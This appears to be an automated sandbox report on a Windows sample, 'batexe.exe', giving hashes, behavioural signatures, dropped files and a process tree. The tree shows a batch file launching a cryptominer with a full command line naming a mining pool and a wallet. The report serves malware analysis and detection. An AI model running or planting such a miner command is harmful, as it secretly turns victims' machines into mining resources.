Analysis

  • max time kernel
    293s
  • max time network
    299s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    17/02/2024, 16:12

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5496
    • C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3240
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5D62.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4756
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5316

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe

          Filesize

          18.2MB

          MD5

          974f596fd92d1a0dc901f00b58072743

          SHA1

          a439003642adf81c10455a7367a261a05f2522a0

          SHA256

          3f367bf3597cdf284d66afa4dc24b59490a0d67ec12b60c222a81c7dfaafef64

          SHA512

          2fbea730f6727ef007042f06ed92baf68d110f3180ff43a1674111c93003ec2c5bd29b1c5e7e97828dcd913fb0489676c2ebc896c686e0e0bd577eadaaef36ed

        • C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe

          Filesize

          6.3MB

          MD5

          90acddd0adb97fd62e31fcf0a8d84c94

          SHA1

          2f115173b171cce53f63d38ea4fb7b2444179925

          SHA256

          1fee15376eadee82bd706bda82dc04eee61e8db8c8ad79aab059e27f79039436

          SHA512

          3ed3e6ad3d8c24b9443b46b0c9f48f15fbdc158251323707ded1d7d8a870704128a851f1a7ac6aa84087ecc874bfb011c67d2b6cbdba8676e1a26ea9aa9f875c

        • C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe

          Filesize

          6.9MB

          MD5

          9b427ea617fcf5be05bee6552de33f77

          SHA1

          0efe87abb2a95bae9901ff62e459720ea2334299

          SHA256

          cfe7d9b4803eaf42a2a26bee481dfb698a432198f1f78dc7fbd4d18d7f47f878

          SHA512

          f46324ee35522a81ef0d867d74a43d8b1f0ee65363c1823072c4edbe9e668f51427f12af7cd0ebb216c5a0015e57bec7163884f0e1b9040dc94b657de1a5590c

        • C:\Users\Admin\AppData\Local\Temp\5D62.tmp\batchfile.bat

          Filesize

          136B

          MD5

          8ea7ac72a10251ecfb42ef4a88bd330a

          SHA1

          c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

          SHA256

          65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

          SHA512

          a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          2.3MB

          MD5

          4c04147c386ba8792ac6a03069572a8a

          SHA1

          dda67789fc1d0f2469ca95f01a5c81034853ca6a

          SHA256

          c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

          SHA512

          a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          836KB

          MD5

          aeab40ed9a8e627ea7cefc1f5cf9bf7a

          SHA1

          5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

          SHA256

          218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

          SHA512

          c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          1.2MB

          MD5

          7cf672bee2afba2dcd0c031ff985958e

          SHA1

          6b82a205db080ffdcb4a4470fce85a14413f3217

          SHA256

          c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

          SHA512

          3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          4.5MB

          MD5

          f704d2f0366fdebc74c6b799e1dd4d5c

          SHA1

          025ed7ebcfe83076b94fbd342f942728e77412a0

          SHA256

          1820f457777cbf4593a46c918e51a73e52e28b18233c21a532b877895e67ec9d

          SHA512

          5fc8d30e218fbe8378bae847fc2ad8f94b681960503c908c4347f831f4174a8adbfc79818db5c4b847f6477aac8328ef6831be9b51ec9089ad31cbd2568a435f

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          4.2MB

          MD5

          911f4bf949aa891b94a71a1fc6c49974

          SHA1

          1c04242f8a5ff76e924830243651d5724c0e1674

          SHA256

          c8f5f57839528f3b2189512449bb428ec7a9c73ad16afc0f76088a817406d071

          SHA512

          ae6eb57d944ba91812a442c9cfe7e36ff291b1a688e61ecd11d86a8dab838c2d0948b8f1e4ebbe28bb74133f7171dc39914f58e029c98d41b315dbcde29fbeda

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          3.2MB

          MD5

          7550489795be962e6b80a3f6344dc7a4

          SHA1

          1742c43289f631b2a3227da1f203c2205bf8e1a3

          SHA256

          7eaa7397e2d10a6a9c3857b7af88de59572c1d5173c042f66e375c169c17b178

          SHA512

          84ef32e14a02d866501d6020e32ae47dd48a9c38c3a60122d601b7e4a6d721e359b30a4c5747c156b51ed57f45c69bfea54fb9839caa05eb6853ac6af41b3f69

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          606KB

          MD5

          585efec1bc1d4d916a4402c9875dff75

          SHA1

          d209613666ccac9d0ddab29a3bc59aa00a0968fa

          SHA256

          2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

          SHA512

          b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

        • memory/3240-53-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/3240-7-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/5316-46-0x0000000064990000-0x0000000064A28000-memory.dmp

          Filesize

          608KB

        • memory/5316-54-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5316-45-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/5316-44-0x0000000070800000-0x00000000708BC000-memory.dmp

          Filesize

          752KB

        • memory/5316-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

          Filesize

          24.7MB

        • memory/5316-48-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5316-104-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5316-43-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5316-59-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5316-69-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5316-74-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5316-79-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5316-84-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5316-89-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5316-94-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5496-9-0x0000000000400000-0x000000000393A000-memory.dmp

          Filesize

          53.2MB